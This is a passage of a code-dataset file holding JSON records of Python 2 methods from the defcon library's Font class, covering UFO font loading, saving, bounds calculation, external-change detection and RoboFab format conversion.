__delitem__(self, name):\n if name not in self:\n raise KeyError, '%s not in font' % name\n self._unicodeData.removeGlyphData(name, self[name].unicodes)\n if name in self._glyphs:\n del self._glyphs[name]\n if name in self._keys:\n self._keys.remove(name)\n if self._glyphSet is not None and name in self._glyphSet:\n self._scheduledForDeletion.append(name)\n self.dirty = True", "metadata": "root.Font.__delitem__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 284 }, { "content": " def __len__(self):\n return len(self.keys())", "metadata": "root.Font.__len__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 296 }, { "content": " def __contains__(self, name):\n return name in self._keys", "metadata": "root.Font.__contains__", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 299 }, { "content": " def keys(self):\n \"\"\"\n The names of all glyphs in the font.\n \"\"\"\n # this is not generated dynamically since we\n # support external editing. it must be fixed.\n names = self._keys\n names = names - set(self._scheduledForDeletion)\n return list(names)", "metadata": "root.Font.keys", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 302 }, { "content": " def _get_path(self):\n return self._path", "metadata": "root.Font._get_path", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 316 }, { "content": " def _set_path(self, path):\n # the file must already exist\n assert os.path.exists(path)\n # the glyphs directory must already exist\n glyphsDir = os.path.join(path, \"glyphs\")\n assert os.path.exists(glyphsDir)\n # set the internal reference\n self._path = path\n # set the glyph set reference\n if self._glyphSet is not None:\n self._glyphSet.dirName = glyphsDir", "metadata": "root.Font._set_path", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 319 }, { "content": " def _get_ufoFormatVersion(self):\n return self._ufoFormatVersion", "metadata": "root.Font._get_ufoFormatVersion", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 333 }, { "content": " def _get_glyphsWithOutlines(self):\n found = []\n # scan loaded glyphs\n for glyphName, glyph in self._glyphs.items():\n if glyphName in self._scheduledForDeletion:\n continue\n if len(glyph):\n found.append(glyphName)\n # scan glyphs that have not been loaded\n glyphsPath = os.path.join(self.path, \"glyphs\")\n for glyphName, fileName in self._glyphSet.contents.items():\n if glyphName in self._glyphs or glyphName in self._scheduledForDeletion:\n continue\n glyphPath = os.path.join(glyphsPath, fileName)\n f = open(glyphPath, \"rb\")\n data = f.read()\n f.close()\n containsPoints = False\n # use an re to extract all points\n points = outlineSearchPointRE.findall(data)\n # skip all moves, as individual moves\n # are anchors and therefore not part\n # of an outline.\n for point in points:\n if 'type=\"move\"' not in point:\n containsPoints = True\n break\n if containsPoints:\n found.append(glyphName)\n return found", "metadata": "root.Font._get_glyphsWithOutlines", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 338 }, { "content": " def _get_componentReferences(self):\n found = {}\n # scan loaded glyphs\n for glyphName, glyph in self._glyphs.items():\n if glyphName in self._scheduledForDeletion:\n continue\n if not glyph.components:\n continue\n for component in glyph.components:\n baseGlyph = component.baseGlyph\n if baseGlyph not in found:\n found[baseGlyph] = set()\n found[baseGlyph].add(glyphName)\n # scan glyphs that have not been loaded\n if self.path is not None:\n glyphsPath = os.path.join(self.path, \"glyphs\")\n for glyphName, fileName in self._glyphSet.contents.items():\n if glyphName in self._glyphs or glyphName in self._scheduledForDeletion:\n continue\n glyphPath = os.path.join(glyphsPath, fileName)\n f = open(glyphPath, \"rb\")\n data = f.read()\n f.close()\n baseGlyphs = componentSearchRE.findall(data)\n for baseGlyph in baseGlyphs:\n if baseGlyph not in found:\n found[baseGlyph] = set()\n found[baseGlyph].add(glyphName)\n return found", "metadata": "root.Font._get_componentReferences", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 371 }, { "content": " def _get_bounds(self):\n fontRect = None\n for glyph in self:\n glyphRect = glyph.bounds\n if glyphRect is None:\n continue\n if fontRect is None:\n fontRect = glyphRect\n else:\n fontRect = unionRect(fontRect, glyphRect)\n return fontRect", "metadata": "root.Font._get_bounds", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 403 }, { "content": " def _get_controlPointBounds(self):\n from fontTools.misc.transform import Transform\n # storage\n glyphRects = {}\n componentReferences = {}\n # scan loaded glyphs\n for glyphName, glyph in self._glyphs.items():\n if glyphName in self._scheduledForDeletion:\n continue\n glyphRect = glyph.controlPointBounds\n if glyphRect:\n glyphRects[glyphName] = glyphRect\n # scan glyphs that have not been loaded\n if self.path is not None:\n glyphsPath = os.path.join(self.path, \"glyphs\")\n for glyphName, fileName in self._glyphSet.contents.items():\n if glyphName in self._glyphs or glyphName in self._scheduledForDeletion:\n continue\n # get the GLIF text\n glyphPath = os.path.join(glyphsPath, fileName)\n f = open(glyphPath, \"rb\")\n data = f.read()\n f.close()\n # get the point bounding box\n xMin = None\n xMax = None\n yMin = None\n yMax = None\n for line in controlBoundsPointRE.findall(data):\n x = controlBoundsPointXRE.findall(line)\n if not x:\n continue\n y = controlBoundsPointYRE.findall(line)\n if not y:\n continue\n x = int(x[0])\n if xMin is None:\n xMin = xMax = x\n if xMin > x:\n xMin = x\n if xMax < x:\n xMax = x\n y = int(y[0])\n if yMin is None:\n yMin = yMax = y\n if yMin > y:\n yMin = y\n if yMax < y:\n yMax = y\n glyphRect = (xMin, yMin, xMax, yMax)\n if None not in glyphRect:\n glyphRects[glyphName] = glyphRect\n # get all component references\n for line in controlBoundsComponentRE.findall(data):\n base = controlBoundsComponentBaseRE.findall(line)\n if not base:\n continue\n base = base[0]\n # xScale\n xScale = controlBoundsComponentXScaleRE.findall(line)\n if not xScale:\n xScale = [1]\n xScale = float(xScale[0])\n # yScale\n yScale = controlBoundsComponentYScaleRE.findall(line)\n if not yScale:\n yScale = [1]\n yScale = float(yScale[0])\n # xyScale\n xyScale = controlBoundsComponentXYScaleRE.findall(line)\n if not xyScale:\n xyScale = [0]\n xyScale = float(xyScale[0])\n # yxScale\n yxScale = controlBoundsComponentYXScaleRE.findall(line)\n if not yxScale:\n yxScale = [0]\n yxScale = float(yxScale[0])\n # xOffset\n xOffset = controlBoundsComponentXOffsetRE.findall(line)\n if not xOffset:\n xOffset = [0]\n xOffset = int(xOffset[0])\n # yOffset\n yOffset = controlBoundsComponentYOffsetRE.findall(line)\n if not yOffset:\n yOffset = [0]\n yOffset = int(yOffset[0])\n if glyphName not in componentReferences:\n componentReferences[glyphName] = []\n componentReferences[glyphName].append((base, xScale, xyScale, yxScale, yScale, xOffset, yOffset))\n # get the transformed component bounding boxes and update the glyphs\n for glyphName, components in componentReferences.items():\n glyphRect = glyphRects.get(glyphName, (None, None, None, None))\n # XXX this doesn't handle nested components\n for base, xScale, xyScale, yxScale, yScale, xOffset, yOffset in components:\n # base glyph doesn't exist\n if base not in glyphRects:\n continue\n baseRect = glyphRects[base]\n # base glyph has no points\n if None in baseRect:\n continue\n # transform the base rect\n transform = Transform(xx=xScale, xy=xyScale, yx=yxScale, yy=yScale, dx=xOffset, dy=yOffset)\n xMin, yMin, xMax, yMax = baseRect\n (xMin, yMin), (xMax, yMax) = transform.transformPoints([(xMin, yMin), (xMax, yMax)])\n componentRect = (xMin, yMin, xMax, yMax)\n # update the glyph rect\n if None in glyphRect:\n glyphRect = componentRect\n else:\n glyphRect = unionRect(glyphRect, componentRect)\n # store the updated rect\n glyphRects[glyphName] = glyphRect\n # work out the unified rect\n fontRect = None\n for glyphRect in glyphRects.values():\n if fontRect is None:\n fontRect = glyphRect\n elif glyphRect is not None:\n fontRect = unionRect(fontRect, glyphRect)\n # done\n return fontRect", "metadata": "root.Font._get_controlPointBounds", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 417 }, { "content": " def _get_info(self):\n if self._info is None:\n self._info = self._infoClass()\n self._info.dispatcher = self.dispatcher\n self._info.setParent(self)\n if self._path is not None:\n reader = ufoLib.UFOReader(self._path)\n reader.readInfo(self._info)\n self._info.dirty = False\n self._info.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Info.Changed\")\n self._stampInfoDataState()\n return self._info", "metadata": "root.Font._get_info", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 548 }, { "content": " def _get_kerning(self):\n if self._kerning is None:\n self._kerning = self._kerningClass()\n self._kerning.dispatcher = self.dispatcher\n self._kerning.setParent(self)\n if self._path is not None:\n reader = ufoLib.UFOReader(self._path)\n d = reader.readKerning()\n self._kerning.update(d)\n self._kerning.dirty = False\n self._kerning.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Kerning.Changed\")\n self._stampKerningDataState()\n return self._kerning", "metadata": "root.Font._get_kerning", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 563 }, { "content": " def _get_groups(self):\n if self._groups is None:\n self._groups = self._groupsClass()\n self._groups.dispatcher = self.dispatcher\n self._groups.setParent(self)\n if self._path is not None:\n reader = ufoLib.UFOReader(self._path)\n d = reader.readGroups()\n self._groups.update(d)\n self._groups.dirty = False\n self._groups.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Groups.Changed\")\n self._stampGroupsDataState()\n return self._groups", "metadata": "root.Font._get_groups", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 579 }, { "content": " def _get_features(self):\n if self._features is None:\n self._features = self._featuresClass()\n self._features.dispatcher = self.dispatcher\n self._features.setParent(self)\n if self._path is not None:\n reader = ufoLib.UFOReader(self._path)\n t = reader.readFeatures()\n self._features.text = t\n self._features.dirty = False\n self._features.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Features.Changed\")\n self._stampFeaturesDataState()\n return self._features", "metadata": "root.Font._get_features", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 595 }, { "content": " def _get_lib(self):\n if self._lib is None:\n self._lib = self._libClass()\n self._lib.dispatcher = self.dispatcher\n self._lib.setParent(self)\n if self._path is not None:\n reader = ufoLib.UFOReader(self._path)\n d = reader.readLib()\n self._lib.update(d)\n self._lib.addObserver(observer=self, methodName=\"_objectDirtyStateChange\", notification=\"Lib.Changed\")\n self._stampLibDataState()\n return self._lib", "metadata": "root.Font._get_lib", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 611 }, { "content": " def _get_unicodeData(self):\n return self._unicodeData", "metadata": "root.Font._get_unicodeData", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 626 }, { "content": " def save(self, path=None, formatVersion=None):\n \"\"\"\n Save the font to **path**. If path is None, the path\n from the last save or when the font was first opened\n will be used.\n\n The UFO will be saved using the format found at ``ufoFormatVersion``.\n This value is either the format version from the exising UFO or\n the format version specified in a previous save. If neither of\n these is available, the UFO will be written as format version 2.\n If you wish to specifiy the format version for saving, pass\n the desired number as the **formatVersion** argument.\n \"\"\"\n saveAs = False\n if path is not None and path != self._path:\n saveAs = True\n else:\n path = self._path\n ## work out the format version\n # if None is given, fallback to the one that\n # came in when the UFO was loaded\n if formatVersion is None and self._ufoFormatVersion is not None:\n formatVersion = self._ufoFormatVersion\n # otherwise fallback to 2\n elif self._ufoFormatVersion is None:\n formatVersion = 2\n ## make a UFOWriter\n ufoWriter = ufoLib.UFOWriter(path, formatVersion=formatVersion)\n ## save objects\n saveInfo = False\n saveKerning = False\n saveGroups = False\n saveFeatures = False\n ## lib should always be saved\n saveLib = True\n # if in a save as, save all objects\n if saveAs:\n saveInfo = True\n saveKerning = True\n saveGroups = True\n saveFeatures = True\n ## if changing ufo format versions, save all objects\n if self._ufoFormatVersion != formatVersion:\n saveInfo = True\n saveKerning = True\n saveGroups = True\n saveFeatures = True\n # save info, kerning and features if they are dirty\n if self._info is not None and self._info.dirty:\n saveInfo = True\n if self._kerning is not None and self._kerning.dirty:\n saveKerning = True\n if self._features is not None and self._features.dirty:\n saveFeatures = True\n # always save groups and lib if they are loaded\n # as they contain sub-objects that may not notify\n # the main object about changes.\n if self._groups is not None:\n saveGroups = True\n if self._lib is not None:\n saveLib = True\n # save objects as needed\n if saveInfo:\n ufoWriter.writeInfo(self.info)\n self._stampInfoDataState()\n self.info.dirty = False\n if saveKerning:\n ufoWriter.writeKerning(self.kerning)\n self._stampKerningDataState()\n self.kerning.dirty = False\n if saveGroups:\n ufoWriter.writeGroups(self.groups)\n self._stampGroupsDataState()\n if saveFeatures and formatVersion > 1:\n ufoWriter.writeFeatures(self.features.text)\n self._stampFeaturesDataState()\n if saveLib:\n # if making format version 1, do some\n # temporary down conversion before\n # passing the lib to the writer\n libCopy = dict(self.lib)\n if formatVersion == 1:\n self._convertToFormatVersion1RoboFabData(libCopy)\n ufoWriter.writeLib(libCopy)\n self._stampLibDataState()\n ## save glyphs\n # for a save as operation, load all the glyphs\n # and mark them as dirty.\n if saveAs:\n for glyph in self:\n glyph.dirty = True\n glyphSet = ufoWriter.getGlyphSet()\n for glyphName, glyphObject in self._glyphs.items():\n if glyphObject.dirty:\n glyphSet.writeGlyph(glyphName, glyphObject, glyphObject.drawPoints)\n self._stampGlyphDataState(glyphObject)\n # remove deleted glyphs\n if not saveAs and self._scheduledForDeletion:\n for glyphName in self._scheduledForDeletion:\n if glyphName in glyphSet:\n glyphSet.deleteGlyph(glyphName)\n glyphSet.writeContents()\n self._glyphSet = glyphSet\n self._scheduledForDeletion = []\n self._path = path\n self._ufoFormatVersion = formatVersion\n self.dirty = False", "metadata": "root.Font.save", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 635 }, { "content": " def _objectDirtyStateChange(self, notification):\n if notification.object.dirty:\n self.dirty = True", "metadata": "root.Font._objectDirtyStateChange", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 747 }, { "content": " def _glyphNameChange(self, notification):\n data = notification.data\n oldName = data[\"oldName\"]\n newName = data[\"newName\"]\n glyph = self._glyphs[oldName]\n del self[oldName]\n self._glyphs[newName] = glyph\n self._keys.add(newName)\n self._unicodeData.removeGlyphData(oldName, glyph.unicodes)\n self._unicodeData.addGlyphData(newName, glyph.unicodes)", "metadata": "root.Font._glyphNameChange", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 751 }, { "content": " def _glyphUnicodesChange(self, notification):\n glyphName = notification.object.name\n data = notification.data\n oldValues = data[\"oldValues\"]\n newValues = data[\"newValues\"]\n self._unicodeData.removeGlyphData(glyphName, oldValues)\n self._unicodeData.addGlyphData(glyphName, newValues)", "metadata": "root.Font._glyphUnicodesChange", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 762 }, { "content": " def _stampFontDataState(self, obj, fileName):\n # font is not on disk\n if self._path is None:\n return\n # data has not been loaded\n if obj is None:\n return\n path = os.path.join(self._path, fileName)\n # file is not in UFO\n if not os.path.exists(path):\n text = None\n modTime = -1\n # get the text\n else:\n f = open(path, \"rb\")\n text = f.read()\n f.close()\n # get the file modification time\n modTime = os.stat(path).st_mtime\n # store the data\n obj._dataOnDisk = text\n obj._dataOnDiskTimeStamp = modTime", "metadata": "root.Font._stampFontDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 776 }, { "content": " def _stampInfoDataState(self):\n self._stampFontDataState(self._info, \"fontinfo.plist\")", "metadata": "root.Font._stampInfoDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 799 }, { "content": " def _stampKerningDataState(self):\n self._stampFontDataState(self._kerning, \"kerning.plist\")", "metadata": "root.Font._stampKerningDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 802 }, { "content": " def _stampGroupsDataState(self):\n self._stampFontDataState(self._groups, \"groups.plist\")", "metadata": "root.Font._stampGroupsDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 805 }, { "content": " def _stampFeaturesDataState(self):\n self._stampFontDataState(self._features, \"features.fea\")", "metadata": "root.Font._stampFeaturesDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 808 }, { "content": " def _stampLibDataState(self):\n self._stampFontDataState(self._lib, \"lib.plist\")", "metadata": "root.Font._stampLibDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 811 }, { "content": " def _stampGlyphDataState(self, glyph):\n if self._glyphSet is None:\n return\n glyphSet = self._glyphSet\n glyphName = glyph.name\n if glyphName not in glyphSet.contents:\n return\n path = os.path.join(self.path, \"glyphs\", glyphSet.contents[glyphName])\n # get the text\n f = open(path, \"rb\")\n text = f.read()\n f.close()\n # get the file modification time\n modTime = os.stat(path).st_mtime\n # store the data\n glyph._dataOnDisk = text\n glyph._dataOnDiskTimeStamp = modTime", "metadata": "root.Font._stampGlyphDataState", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 814 }, { "content": " def testForExternalChanges(self):\n \"\"\"\n Test the UFO for changes that occured outside of this font's\n tree of objects. This returns a dictionary of values\n indicating if the objects have changes on disk that are\n not loaded. For example::\n\n {\n \"info\" : False,\n \"kerning\" : True,\n \"groups\" : True,\n \"features\" : False,\n \"lib\" : False,\n \"modifiedGlyphs\" : [\"a\", \"a.alt\"],\n \"addedGlyphs\" : [],\n \"deletedGlyphs\" : []\n }\n\n It is important to keep in mind that the user could have created\n conflicting data outside of the font's tree of objects. For example,\n say the user has set ``font.info.unitsPerEm = 1000`` inside of the\n font's :class:`Info` object and the user has not saved this change.\n In the the font's fontinfo.plist file, the user sets the unitsPerEm value\n to 2000. Which value is current? Which value is right? defcon leaves\n this decision up to you.\n \"\"\"\n infoChanged = self._testInfoForExternalModifications()\n kerningChanged = self._testKerningForExternalModifications()\n groupsChanged = self._testGroupsForExternalModifications()\n featuresChanged = self._testFeaturesForExternalModifications()\n libChanged = self._testLibForExternalModifications()\n modifiedGlyphs, addedGlyphs, deletedGlyphs = self._testGlyphsForExternalModifications()\n return dict(\n info=infoChanged,\n kerning=kerningChanged,\n groups=groupsChanged,\n features=featuresChanged,\n lib=libChanged,\n modifiedGlyphs=modifiedGlyphs,\n addedGlyphs=addedGlyphs,\n deletedGlyphs=deletedGlyphs\n )", "metadata": "root.Font.testForExternalChanges", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 834 }, { "content": " def _testFontDataForExternalModifications(self, obj, fileName):\n # font is not on disk\n if self._path is None:\n return False\n # data has not been loaded\n if obj is None:\n return False\n path = os.path.join(self._path, fileName)\n # file is not in UFO\n if not os.path.exists(path):\n # if there was data in the file before\n if obj._dataOnDisk:\n return True\n return False\n # mod time mismatch\n modTime = os.stat(path).st_mtime\n if obj._dataOnDiskTimeStamp != modTime:\n f = open(path, \"rb\")\n text = f.read()\n f.close()\n # text mismatch\n if text != obj._dataOnDisk:\n return True\n return False", "metadata": "root.Font._testFontDataForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 877 }, { "content": " def _testInfoForExternalModifications(self):\n return self._testFontDataForExternalModifications(self._info, \"fontinfo.plist\")", "metadata": "root.Font._testInfoForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 902 }, { "content": " def _testKerningForExternalModifications(self):\n return self._testFontDataForExternalModifications(self._kerning, \"kerning.plist\")", "metadata": "root.Font._testKerningForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 905 }, { "content": " def _testGroupsForExternalModifications(self):\n return self._testFontDataForExternalModifications(self._groups, \"groups.plist\")", "metadata": "root.Font._testGroupsForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 908 }, { "content": " def _testFeaturesForExternalModifications(self):\n return self._testFontDataForExternalModifications(self._features, \"features.fea\")", "metadata": "root.Font._testFeaturesForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 911 }, { "content": " def _testLibForExternalModifications(self):\n return self._testFontDataForExternalModifications(self._lib, \"lib.plist\")", "metadata": "root.Font._testLibForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 914 }, { "content": " def _testGlyphsForExternalModifications(self):\n # font is not stored on disk\n if self._glyphSet is None:\n return [], [], []\n glyphSet = self._glyphSet\n glyphSet.rebuildContents()\n # glyphs added since we started up\n addedGlyphs = list(set(self._glyphSet.keys()) - self._keys)\n # glyphs deleted since we started up\n deletedGlyphs = list(self._keys - set(self._glyphSet.keys()))\n # glyphs modified since loading\n modifiedGlyphs = []\n for glyphName, glyph in self._glyphs.items():\n # deleted glyph. skip.\n if glyphName not in glyphSet.contents:\n continue\n path = os.path.join(self.path, \"glyphs\", glyphSet.contents[glyphName])\n modTime = os.stat(path).st_mtime\n # mod time mismatch\n if modTime != glyph._dataOnDiskTimeStamp:\n f = open(path, \"rb\")\n text = f.read()\n f.close()\n # data mismatch\n if text != glyph._dataOnDisk:\n modifiedGlyphs.append(glyphName)\n # add loaded glyphs to the keys\n self._keys = self._keys | set(addedGlyphs)\n return modifiedGlyphs, addedGlyphs, deletedGlyphs", "metadata": "root.Font._testGlyphsForExternalModifications", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 917 }, { "content": " def reloadInfo(self):\n \"\"\"\n Reload the data in the :class:`Info` object from the\n fontinfo.plist file in the UFO.\n \"\"\"\n if self._info is None:\n obj = self.info\n else:\n r = ufoLib.UFOReader(self._path)\n newInfo = Info()\n r.readInfo(newInfo)\n oldInfo = self._info\n for attr in dir(newInfo):\n if attr in ufoLib.deprecatedFontInfoAttributesVersion2:\n continue\n if attr.startswith(\"_\"):\n continue\n if attr == \"dirty\":\n continue\n if attr == \"dispatcher\":\n continue\n if not hasattr(oldInfo, attr):\n continue\n newValue = getattr(newInfo, attr)\n oldValue = getattr(oldInfo, attr)\n if hasattr(newValue, \"im_func\"):\n continue\n if oldValue == newValue:\n continue\n setattr(oldInfo, attr, newValue)\n self._stampInfoDataState()", "metadata": "root.Font.reloadInfo", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 949 }, { "content": " def reloadKerning(self):\n \"\"\"\n Reload the data in the :class:`Kerning` object from the\n kerning.plist file in the UFO.\n \"\"\"\n if self._kerning is None:\n obj = self.kerning\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readKerning()\n self._kerning.clear()\n self._kerning.update(d)\n self._stampKerningDataState()", "metadata": "root.Font.reloadKerning", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 981 }, { "content": " def reloadGroups(self):\n \"\"\"\n Reload the data in the :class:`Groups` object from the\n groups.plist file in the UFO.\n \"\"\"\n if self._groups is None:\n obj = self.groups\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readGroups()\n self._groups.clear()\n self._groups.update(d)\n self._stampGroupsDataState()", "metadata": "root.Font.reloadGroups", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 995 }, { "content": " def reloadFeatures(self):\n \"\"\"\n Reload the data in the :class:`Features` object from the\n features.fea file in the UFO.\n \"\"\"\n if self._features is None:\n obj = self.features\n else:\n r = ufoLib.UFOReader(self._path)\n text = r.readFeatures()\n self._features.text = text\n self._stampFeaturesDataState()", "metadata": "root.Font.reloadFeatures", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1009 }, { "content": " def reloadLib(self):\n \"\"\"\n Reload the data in the :class:`Lib` object from the\n lib.plist file in the UFO.\n \"\"\"\n if self._lib is None:\n obj = self.lib\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readLib()\n self._lib.clear()\n self._lib.update(d)\n self._stampLibDataState()", "metadata": "root.Font.reloadLib", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1022 }, { "content": " def reloadGlyphs(self, glyphNames):\n \"\"\"\n Reload the glyphs listed in **glyphNames** from the\n appropriate files within the UFO. When all of the\n loading is complete, a *Font.ReloadedGlyphs* notification\n will be posted.\n \"\"\"\n for glyphName in glyphNames:\n if glyphName not in self._glyphs:\n self._loadGlyph(glyphName)\n else:\n glyph = self._glyphs[glyphName]\n glyph.destroyAllRepresentations(None)\n glyph.clear()\n pointPen = glyph.getPointPen()\n self._glyphSet.readGlyph(glyphName=glyphName, glyphObject=glyph, pointPen=pointPen)\n glyph.dirty = False\n self._stampGlyphDataState(glyph)\n data = dict(glyphNames=glyphNames)\n self.dispatcher.postNotification(notification=\"Font.ReloadedGlyphs\", observable=self, data=data)\n # post a change notification for any glyphs that\n # reference the reloaded glyphs via components.\n componentReferences = self.componentReferences\n referenceChanges = set()\n for glyphName in glyphNames:\n if glyphName not in componentReferences:\n continue\n for reference in componentReferences[glyphName]:\n if reference in glyphNames:\n continue\n if reference not in self._glyphs:\n continue\n if reference in referenceChanges:\n continue\n glyph = self._glyphs[reference]\n glyph.destroyAllRepresentations(None)\n glyph.dispatcher.postNotification(notification=glyph.changeNotificationName, observable=glyph)\n referenceChanges.add(reference)", "metadata": "root.Font.reloadGlyphs", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1036 }, { "content": " def _convertFromFormatVersion1RoboFabData(self):\n # migrate features from the lib\n features = []\n classes = self.lib.get(\"org.robofab.opentype.classes\")\n if classes is not None:\n del self.lib[\"org.robofab.opentype.classes\"]\n features.append(classes)\n splitFeatures = self.lib.get(\"org.robofab.opentype.features\")\n if splitFeatures is not None:\n order = self.lib.get(\"org.robofab.opentype.featureorder\")\n if order is None:\n order = splitFeatures.keys()\n order.sort()\n else:\n del self.lib[\"org.robofab.opentype.featureorder\"]\n del self.lib[\"org.robofab.opentype.features\"]\n for tag in order:\n oneFeature = splitFeatures.get(tag)\n if oneFeature is not None:\n features.append(oneFeature)\n self.features.text = \"\\n\".join(features)\n # migrate hint data from the lib\n hintData = self.lib.get(\"org.robofab.postScriptHintData\")\n if hintData is not None:\n del self.lib[\"org.robofab.postScriptHintData\"]\n # settings\n blueFuzz = hintData.get(\"blueFuzz\")\n if blueFuzz is not None:\n self.info.postscriptBlueFuzz = blueFuzz\n blueScale = hintData.get(\"blueScale\")\n if blueScale is not None:\n self.info.postscriptBlueScale = blueScale\n blueShift = hintData.get(\"blueShift\")\n if blueShift is not None:\n self.info.postscriptBlueShift = blueShift\n forceBold = hintData.get(\"forceBold\")\n if forceBold is not None:\n self.info.postscriptForceBold = forceBold\n # stems\n vStems = hintData.get(\"vStems\")\n if vStems is not None:\n self.info.postscriptStemSnapV = vStems\n hStems = hintData.get(\"hStems\")\n if hStems is not None:\n self.info.postscriptStemSnapH = hStems\n # blues\n bluePairs = [\n (\"postscriptBlueValues\", \"blueValues\"),\n (\"postscriptOtherBlues\", \"otherBlues\"),\n (\"postscriptFamilyBlues\", \"familyBlues\"),\n (\"postscriptFamilyOtherBlues\", \"familyOtherBlues\"),\n ]\n for infoAttr, libKey in bluePairs:\n libValue = hintData.get(libKey)\n if libValue is not None:\n value = []\n for i, j in libValue:\n value.append(i)\n value.append(j)\n setattr(self.info, infoAttr, value)", "metadata": "root.Font._convertFromFormatVersion1RoboFabData", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1079 }, { "content": " def _convertToFormatVersion1RoboFabData(self, libCopy):\n from robofab.tools.fontlabFeatureSplitter import splitFeaturesForFontLab\n # features\n features = self.features.text\n classes, features = splitFeaturesForFontLab(features)\n if classes:\n libCopy[\"org.robofab.opentype.classes\"] = classes.strip() + \"\\n\"\n if features:\n featureDict = {}\n for featureName, featureText in features:\n featureDict[featureName] = featureText.strip() + \"\\n\"\n libCopy[\"org.robofab.opentype.features\"] = featureDict\n libCopy[\"org.robofab.opentype.featureorder\"] = [featureName for featureName, featureText in features]\n # hint data\n hintData = dict(\n blueFuzz=self.info.postscriptBlueFuzz,\n blueScale=self.info.postscriptBlueScale,\n blueShift=self.info.postscriptBlueShift,\n forceBold=self.info.postscriptForceBold,\n vStems=self.info.postscriptStemSnapV,\n hStems=self.info.postscriptStemSnapH\n )\n bluePairs = [\n (\"postscriptBlueValues\", \"blueValues\"),\n (\"postscriptOtherBlues\", \"otherBlues\"),\n (\"postscriptFamilyBlues\", \"familyBlues\"),\n (\"postscriptFamilyOtherBlues\", \"familyOtherBlues\"),\n ]\n for infoAttr, libKey in bluePairs:\n values = getattr(self.info, infoAttr)\n if values is not None:\n finalValues = []\n for value in values:\n if not finalValues or len(finalValues[-1]) == 2:\n finalValues.append([])\n finalValues[-1].append(value)\n hintData[libKey] = finalValues\n for key, value in hintData.items():\n if value is None:\n del hintData[key]\n libCopy[\"org.robofab.postScriptHintData\"] = hintData", "metadata": "root.Font._convertToFormatVersion1RoboFabData", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1140 }, { "content": "def _testSetParentDataInGlyph():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> glyph = font['A']\n >>> id(glyph.getParent()) == id(font)\n True\n \"\"\"", "metadata": "root._testSetParentDataInGlyph", "header": "['module', '___EOS___']", "index": 1187 }, { "content": "def _testNewGlyph():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> font.newGlyph('NewGlyphTest')\n >>> glyph = font['NewGlyphTest']\n >>> glyph.name\n 'NewGlyphTest'\n >>> glyph.dirty\n True\n >>> font.dirty\n True\n >>> keys = font.keys()\n >>> keys.sort()\n >>> keys\n ['A', 'B', 'C', 'NewGlyphTest']\n 